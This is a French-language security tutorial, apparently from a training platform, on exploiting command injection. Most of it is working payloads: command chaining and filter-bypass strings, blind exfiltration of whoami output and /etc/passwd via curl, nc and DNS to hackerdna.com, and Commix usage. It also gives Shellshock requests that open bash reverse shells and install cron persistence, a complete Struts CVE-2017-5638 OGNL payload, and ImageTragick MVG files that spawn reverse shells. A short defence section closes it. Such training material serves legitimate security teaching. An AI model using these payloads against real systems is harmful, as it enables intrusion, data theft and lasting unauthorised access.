🎯 Pourquoi c'est important

L'injection de commandes représente l'une des vulnérabilités à plus fort impact dans les applications web modernes, fournissant un accès direct au système d'exploitation et une compromission complète du serveur. Cette vulnérabilité est particulièrement répandue dans les outils DevOps, les pipelines CI/CD, les interfaces d'administration et les systèmes de traitement de fichiers où les applications s'intègrent avec les commandes système sous-jacentes. Lorsque vous comprendrez l'exploitation de l'injection de commandes, vous apprendrez des techniques qui peuvent mener à l'exécution immédiate de code à distance et à la compromission complète de l'infrastructure.

🔍 Ce que vous allez apprendre

Vous maîtriserez l'approche systématique pour identifier et exploiter les vulnérabilités d'injection de commandes à travers le chaînage direct de commandes, les techniques de contournement de filtres et les méthodes d'exploitation aveugle. Cela inclut la compréhension des payloads spécifiques aux systèmes d'exploitation, l'exfiltration de données hors bande et les techniques avancées de contournement que les experts en sécurité utilisent pour démontrer la compromission complète du système lors d'évaluations réelles.

🚀 Votre première victoire

Dans les 15 prochaines minutes, vous exploiterez avec succès une vulnérabilité d'injection de commandes pour obtenir un accès shell sur un système cible, démontrant comment des intégrations système apparemment sûres peuvent mener à une compromission complète du serveur et un contrôle administratif.

🔧 Essayez ceci maintenant

Testez l'injection de commandes basique contre un endpoint de traitement de fichiers

# Chaînage de commandes basique avec point-virgule
POST /convert HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

filename=test.pdf; whoami

# Contournement par substitution de commande
filename=test.pdf$(whoami)
filename=test.pdf`whoami`

# Opérateurs logiques pour le chaînage
filename=test.pdf && whoami
filename=test.pdf || whoami

# Redirection de la sortie de commande
filename=test.pdf | whoami

# Injection de commande aveugle avec délai temporel
filename=test.pdf; sleep 10
filename=test.pdf$(sleep 10)

# Exfiltration de données hors bande
filename=test.pdf; curl http://<attacker>/$(whoami)
filename=test.pdf; wget http://<attacker>/collect?data=$(id | base64)

Vous verrez : Comment différentes techniques d'injection de commandes contournent la validation des entrées et exécutent des commandes arbitraires sur le serveur. Cela démontre pourquoi une sanitisation appropriée des entrées et une intégration système sécurisée sont critiques pour la sécurité applicative.

L'injection de commandes survient lorsque les applications transmettent des entrées utilisateur non sanitisées aux commandes shell système

Comment l'intégration système crée des opportunités d'attaque

Les applications web ont fréquemment besoin d'effectuer des opérations au niveau système comme le traitement de fichiers, les utilitaires réseau, les opérations de base de données ou les tâches administratives. Les développeurs implémentent souvent ces fonctionnalités en construisant des commandes shell qui incluent des données fournies par l'utilisateur. Une implémentation vulnérable typique pourrait ressembler à system("convert " + userFile + " output.pdf") où l'application convertit des fichiers en utilisant des commandes système.

La faille de sécurité critique émerge lorsque l'entrée utilisateur est concaténée directement dans ces commandes. Si un attaquant peut contrôler une partie de la chaîne de commande, il peut injecter des commandes supplémentaires en utilisant des métacaractères shell comme les points-virgules, les pipes ou la substitution de commande. Le shell interprète ceux-ci comme des commandes séparées, exécutant le payload de l'attaquant aux côtés de la fonctionnalité prévue.

Ce qui rend l'injection de commandes particulièrement dangereuse est que les commandes s'exécutent avec les mêmes privilèges que l'application web. Dans de nombreux cas, cela signifie le compte utilisateur du serveur web, qui a souvent un accès système significatif. Dans les environnements conteneurisés ou les systèmes mal configurés, cela peut même signifier un accès de niveau root à l'infrastructure entière.

Pourquoi l'injection de commandes est critique dans l'infrastructure moderne

Les applications modernes s'appuient de plus en plus sur les intégrations système pour le traitement de fichiers, les opérations réseau, la surveillance et l'automatisation. Les outils DevOps, les pipelines CI/CD, les tableaux de bord d'administration et les applications cloud-natives exécutent tous couramment des commandes système basées sur l'entrée utilisateur. Chacun de ceux-ci représente une surface d'attaque potentielle pour l'injection de commandes.

Les environnements conteneurisés et les plateformes cloud amplifient souvent l'impact de l'injection de commandes. Bien que les conteneurs fournissent une certaine isolation, une injection de commandes réussie peut encore mener à l'évasion de conteneur, l'accès aux API d'orchestration ou le mouvement latéral au sein de l'infrastructure. Les services de métadonnées cloud, les API de runtime de conteneurs et les interfaces de gestion de cluster deviennent tous accessibles aux attaquants qui obtiennent l'exécution de commandes.

Le passage vers l'infrastructure-as-code et les pipelines de déploiement automatisés a créé de nouveaux vecteurs d'attaque où l'injection de commandes dans les outils de déploiement peut compromettre des environnements de production entiers. C'est pourquoi comprendre l'injection de commandes est essentiel pour sécuriser les architectures applicatives modernes.

La méthodologie de test d'injection de commandes

Les experts en sécurité suivent une approche systématique pour les tests d'injection de commandes qui progresse de l'identification des paramètres à l'exploitation jusqu'à la démonstration de l'impact. Cette méthodologie assure une couverture complète et révèle l'étendue totale de la compromission potentielle à travers les vulnérabilités d'injection de commandes.

Étape 1 : Découverte des paramètres - Identifiez les champs de saisie, les paramètres URL et les en-têtes de requête qui pourraient être transmis aux commandes système. Recherchez les fonctionnalités de traitement de fichiers, d'utilitaires réseau, d'administration système ou de diagnostic.

Étape 2 : Détection du contexte de commande - Testez avec des payloads simples pour comprendre comment l'entrée utilisateur est incorporée dans les commandes système et identifier le système d'exploitation sous-jacent.

Étape 3 : Développement de l'exploitation - Créez des payloads ciblés qui contournent la validation des entrées et obtiennent l'exécution de commandes, en adaptant les techniques basées sur les mécanismes de filtrage.

Étape 4 : Évaluation de l'impact - Démontrez l'étendue complète de l'accès système possible à travers la vulnérabilité, y compris l'accès au système de fichiers, les capacités réseau et le potentiel de persistance.

Test manuel d'injection de commandes

Le test manuel fournit la base pour comprendre le comportement de l'injection de commandes et permet une exploitation précise que les outils automatisés pourraient manquer. Comprendre ces techniques manuelles est essentiel pour des évaluations de sécurité approfondies et l'adaptation aux contextes spécifiques des applications.

# Chaînage de commandes avec point-virgule (Unix/Linux/Windows)
test.txt; whoami
test.txt; id
test.txt; hostname

# ET logique - exécute si la première commande réussit
test.txt && whoami
test.txt && net user

# OU logique - exécute si la première commande échoue
test.txt || whoami
test.txt || dir

# Substitution de commande (Unix/Linux)
test.txt$(whoami)
test.txt`whoami`
$(whoami).txt
`id`.txt

# Opérations de pipe
test.txt | whoami
test.txt | ipconfig

# Exécution en arrière-plan
test.txt & whoami
test.txt & ping hackerdna.com

# Redirection pour opérations sur fichiers
test.txt; whoami > /tmp/output.txt
test.txt; echo "test" >> /var/log/app.log

Techniques de contournement de filtres

Les applications implémentent souvent une validation des entrées pour prévenir l'injection de commandes, mais de nombreux mécanismes de filtrage peuvent être contournés en utilisant l'encodage, une syntaxe alternative ou une construction créative de payload. Comprendre les techniques de contournement est essentiel pour des tests de sécurité approfondis.

# Contournement par encodage URL
test.txt%3Bwhoami
test.txt%26%26whoami

# Double encodage URL
test.txt%253Bwhoami

# Encodage Unicode
test.txt\u003Bwhoami

# Encodage hexadécimal
test.txt\x3Bwhoami

# Encodage Base64 avec substitution de commande
test.txt$(echo d2hvYW1p | base64 -d)
test.txt`echo d2hvYW1p | base64 -d`

# Substitution de variable (Bash)
test.txt${IFS}whoami
test.txt$IFS$9whoami

# Concaténation de caractères
test.txt;who""ami
test.txt;who''ami
test.txt;who\ami

# Séparateurs de commande alternatifs
test.txt%0Awhoami  # Nouvelle ligne
test.txt%0Dwhoami  # Retour chariot
test.txt%09whoami  # Tabulation

# Injection de variables d'environnement
test.txt;HOME=/tmp;whoami
test.txt;PATH=/usr/bin:$PATH;id

Exploitation aveugle d'injection de commandes

Lorsque les applications ne retournent pas directement la sortie des commandes, les techniques d'injection de commandes aveugle permettent de confirmer la vulnérabilité et d'exfiltrer des données via des méthodes de canal latéral. Ces techniques sont essentielles pour tester les applications de production où la sortie directe n'est pas visible.

# Injection de délai temporel (Unix/Linux)
test.txt; sleep 10
test.txt$(sleep 5)
test.txt`sleep 15`
test.txt && sleep 10

# Injection de délai temporel (Windows)
test.txt; timeout 10
test.txt & ping -n 10 127.0.0.1
test.txt && powershell Start-Sleep 5

# Délais temporels conditionnels pour extraction de données
test.txt; if [ $(whoami | cut -c1) = "r" ]; then sleep 5; fi
test.txt; test $(id -u) -eq 0 && sleep 10

# Délais temporels basés sur DNS
test.txt; nslookup $(whoami).hackerdna.com
test.txt; dig $(hostname).hackerdna.com

# Exfiltration basée sur HTTP
test.txt; curl http://hackerdna.com/collect?data=$(whoami)
test.txt; wget -q -O- http://hackerdna.com/$(id | base64 | tr -d '\n')
test.txt; curl -X POST -d "$(cat /etc/passwd)" http://hackerdna.com/data

# Exfiltration basée sur DNS
test.txt; nslookup $(whoami | tr -d '\n').hackerdna.com
test.txt; dig $(hostname).$(whoami).hackerdna.com
test.txt; host $(cat /etc/passwd | base64 | cut -c1-50).hackerdna.com

# Confirmation basée sur fichier
test.txt; touch /tmp/hackerdna-$(whoami)
test.txt; echo "injection-success" > /var/log/hackerdna.log

# Confirmation basée sur le réseau
test.txt; nc hackerdna.com 80 < /etc/passwd
test.txt; telnet hackerdna.com 443 < /etc/hosts

# Exfiltration par email (si sendmail disponible)
test.txt; echo "$(whoami)@$(hostname)" | mail -s "Command Injection" attacker@hackerdna.com

Commix : injection de commandes automatisée

Commix (Command Injection Exploiter) est un outil spécialisé pour automatiser la découverte et l'exploitation de l'injection de commandes. Bien que le test manuel fournisse une compréhension approfondie, Commix peut tester systématiquement plusieurs vecteurs d'injection et fournir des capacités d'exploitation automatisées.

# Installer Commix
git clone https://github.com/commixproject/commix.git
cd commix
python commix.py --help

# Test basique de paramètre URL
python commix.py --url="http://<target>/process?filename=test.txt"

# Test de données POST
python commix.py --url="http://<target>/convert" --data="file=test.pdf"

# Test d'en-têtes personnalisés
python commix.py --url="http://<target>/api" --header="X-Filename: test.txt"

# Injection aveugle avec délais temporels
python commix.py --url="http://<target>/ping?host=127.0.0.1" --technique=T

# Test de sortie basé sur fichier
python commix.py --url="http://<target>/log?file=access.log" --technique=F

# Point d'injection personnalisé
python commix.py --url="http://<target>/api" --data="filename=INJECT_HERE&action=process"

# Détection du système d'exploitation
python commix.py --url="http://<target>/cmd?exec=whoami" --os=unix

# Mode batch avec wordlist
python commix.py --url="http://<target>/process?cmd=FUZZ" --wordlist=/usr/share/wordlists/common.txt

Vulnérabilité Shellshock Bash (CVE-2014-6271)

La vulnérabilité Shellshock affectait le traitement des variables d'environnement du shell Bash, permettant l'exécution de commandes à distance via les en-têtes HTTP dans les applications web qui transmettaient des variables d'environnement aux scripts shell. CVE-2014-6271 a démontré comment des composants système fondamentaux peuvent créer des vulnérabilités d'injection de commandes généralisées affectant des millions de systèmes dans le monde.

# Exploitation Shellshock via en-têtes HTTP
# Scripts CGI vulnérables qui traitent les variables d'environnement
# De nombreuses applications web étaient affectées via le traitement CGI

# Étape 1 : Identifier les endpoints CGI vulnérables à Shellshock
# Chemins CGI courants : /cgi-bin/, /scripts/, /cgi-mod/
GET /cgi-bin/test.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; echo "Content-Type: text/plain"; echo; echo "Shellshock Test"; /bin/uname -a

# Étape 2 : Exécution de commande via en-tête User-Agent
GET /cgi-bin/status.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; /bin/bash -c "whoami"
Referer: () { :;}; /bin/bash -c "id"

# Étape 3 : Payload avancé pour reverse shell
GET /cgi-bin/formmail.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; /bin/bash -c "bash -i >& /dev/tcp/hackerdna.com/4444 0>&1"

# Étape 4 : Exfiltration de données via injection de variable d'environnement
GET /cgi-bin/search.cgi HTTP/1.1
Host: <target>
Cookie: () { :;}; /bin/bash -c "curl -X POST -d \"$(cat /etc/passwd)\" http://hackerdna.com/collect"

# Étape 5 : Accès persistant via installation de tâche cron
GET /cgi-bin/admin.cgi HTTP/1.1
Host: <target>
X-Forwarded-For: () { :;}; /bin/bash -c "echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/hackerdna.com/443 0>&1\"' | crontab -"

# Étape 6 : Reconnaissance réseau et mouvement latéral
GET /cgi-bin/ping.cgi HTTP/1.1
Host: <target>
Accept: () { :;}; /bin/bash -c "nmap -sT 192.168.1.0/24 > /tmp/scan.txt; curl -X POST -d \"$(cat /tmp/scan.txt)\" http://hackerdna.com/recon"

Impact mondial : Shellshock a affecté des millions de systèmes, y compris des serveurs web, routeurs, appareils IoT et instances cloud. La vulnérabilité permettait l'exécution immédiate de code à distance via de simples requêtes HTTP, menant à des infections massives de botnets et des compromissions de systèmes généralisées. Des correctifs ont été rapidement déployés, mais de nombreux systèmes sont restés vulnérables pendant des périodes prolongées.

Injection de commandes Apache Struts (CVE-2017-5638)

Apache Struts contenait une vulnérabilité d'injection de commandes dans sa fonctionnalité de téléchargement de fichiers qui permettait l'exécution de code à distance via des en-têtes Content-Type malveillants. CVE-2017-5638 a été exploitée dans la brèche Equifax et démontre comment les vulnérabilités de framework peuvent mener à des brèches de données massives affectant des millions de personnes.

# Exploitation Apache Struts CVE-2017-5638
# Vulnérabilité dans le parser Jakarta Multipart
# Affecte Struts 2.3.5 - 2.3.31 et 2.5 - 2.5.10

# Étape 1 : Identifier l'application Struts avec téléchargement de fichier
# Rechercher .action, .do, ou les modèles d'URL spécifiques à Struts
# Les formulaires de téléchargement de fichiers sont les vecteurs d'attaque principaux

# Étape 2 : Créer un en-tête Content-Type malveillant
POST /upload.action HTTP/1.1
Host: <target>
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Vulnerable')}.multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1337

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain

Test file content
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Étape 3 : Payload d'exécution de commande
POST /upload.action HTTP/1.1
Host: <target>
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Impact de la brèche : CVE-2017-5638 était le vecteur d'attaque utilisé dans la brèche Equifax, l'une des plus grandes brèches de données de l'histoire affectant 143 millions de personnes. La vulnérabilité permettait l'exécution immédiate de code à distance via de simples requêtes HTTP vers n'importe quelle application Struts avec fonctionnalité de téléchargement de fichiers. Malgré la disponibilité de correctifs, de nombreuses organisations ont échoué à mettre à jour rapidement, menant à une exploitation généralisée.

Injection de commandes ImageMagick (CVE-2016-3714)

ImageMagick, une bibliothèque de traitement d'images largement utilisée, contenait des vulnérabilités d'injection de commandes permettant l'exécution de code à distance via des fichiers image malveillants. CVE-2016-3714 ("ImageTragick") démontre comment les bibliothèques de traitement de fichiers peuvent introduire des vulnérabilités d'injection de commandes dans les applications web qui gèrent le contenu téléchargé par les utilisateurs.

# Exploitation ImageMagick "ImageTragick" CVE-2016-3714
# Affecte les versions ImageMagick avant 6.9.3-9 et 7.0.1-0
# Vulnérabilité dans la gestion des délégués pour le traitement d'images

# Étape 1 : Créer un fichier MVG malveillant pour injection de commandes
# Le format MVG (Magick Vector Graphics) permet des commandes embarquées
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/image.jpg"|whoami > /tmp/output.txt)'
pop graphic-context
EOF

# Étape 2 : Télécharger l'image malveillante via interface web
# Cibler les formulaires de téléchargement qui traitent les images avec ImageMagick
POST /upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 500

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="exploit.jpg"
Content-Type: image/jpeg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/test.jpg"|curl http://hackerdna.com/collect?data=$(whoami))'
pop graphic-context
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Étape 3 : Payload avancé pour reverse shell
# Créer un payload plus sophistiqué pour accès persistant
cat > shell.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 'label:test'
fill 'url(https://hackerdna.com/pixel.png"|bash -c "bash -i >& /dev/tcp/hackerdna.com/443 0>&1")'
pop graphic-context
EOF

Impact généralisé : ImageTragick a affecté d'innombrables applications web utilisant ImageMagick pour le traitement d'images, y compris des plateformes majeures et des systèmes de gestion de contenu. La vulnérabilité permettait l'exécution de code à distance via de simples téléchargements d'images, la rendant particulièrement dangereuse pour les applications exposées au public. De nombreuses applications ont nécessité à la fois des mises à jour ImageMagick et des changements de configuration pour atténuer complètement le problème.

Défense primaire : éviter l'exécution de commandes système

La protection la plus efficace contre l'injection de commandes est d'éliminer entièrement le besoin d'exécution de commandes système. Les langages de programmation et frameworks modernes fournissent des alternatives sûres pour la plupart des tâches courantes d'intégration système sans nécessiter la construction de commandes shell.

• Utiliser les bibliothèques du langage de programmation - Remplacez les commandes système par des fonctions natives du langage pour les opérations sur fichiers, les requêtes réseau et le traitement de données
• Exploiter les capacités du framework - Utilisez les fonctionnalités intégrées du framework pour les tâches courantes comme les téléchargements de fichiers, le traitement d'images et la validation de données
• Intégrations basées sur API - Remplacez les outils en ligne de commande par des appels API directs aux services et bibliothèques
• Microservices conteneurisés - Isolez les opérations système dans des conteneurs dédiés avec des capacités limitées
• Fonctions serverless - Utilisez des fonctions cloud pour les tâches de traitement isolées nécessitant des opérations au niveau système

Pratiques d'exécution sécurisée de commandes

Lorsque l'exécution de commandes système est inévitable, implémentez des contrôles de sécurité stricts qui empêchent l'entrée utilisateur de modifier la structure de la commande et limitent la portée de l'exploitation potentielle.

• Validation des entrées et whitelist - Validez toutes les entrées utilisateur contre des modèles stricts et rejetez tout ce qui ne correspond pas aux formats attendus
• Exécution de commandes paramétrée - Utilisez les fonctionnalités du langage de programmation qui séparent les commandes des arguments, empêchant l'injection
• Échappement des arguments de commande - Échappez correctement toutes les entrées utilisateur en utilisant des fonctions spécifiques au langage conçues pour la sécurité shell
• Templates de commandes prédéfinis - Utilisez des structures de commande fixes avec substitution de placeholders plutôt qu'une construction dynamique de commandes
• Ensembles de commandes restreints - Limitez les commandes disponibles à une whitelist prédéfinie d'opérations sûres

Stratégies de protection au niveau système

De multiples contrôles au niveau système fournissent une protection complète contre les attaques d'injection de commandes, assurant que même une exploitation réussie a un impact limité sur la sécurité globale du système.

• Principe du moindre privilège - Exécutez les applications web avec les permissions système minimales nécessaires pour la fonctionnalité
• Sandboxing et conteneurisation - Isolez les applications dans des conteneurs ou des environnements chroot avec un accès système limité
• Filtrage du trafic sortant - Bloquez les connexions réseau sortantes pour empêcher l'exfiltration de données et l'établissement de reverse shells
• Surveillance et alertes système - Implémentez une journalisation complète et une détection d'anomalies pour les modèles d'exécution de commandes inhabituels
• Contrôles d'accès au système de fichiers - Restreignez l'accès de l'application aux seuls répertoires et fichiers nécessaires en utilisant les permissions appropriées
• Systèmes d'exploitation à sécurité renforcée - Utilisez SELinux, AppArmor ou des systèmes de contrôle d'accès obligatoire similaires pour limiter les capacités applicatives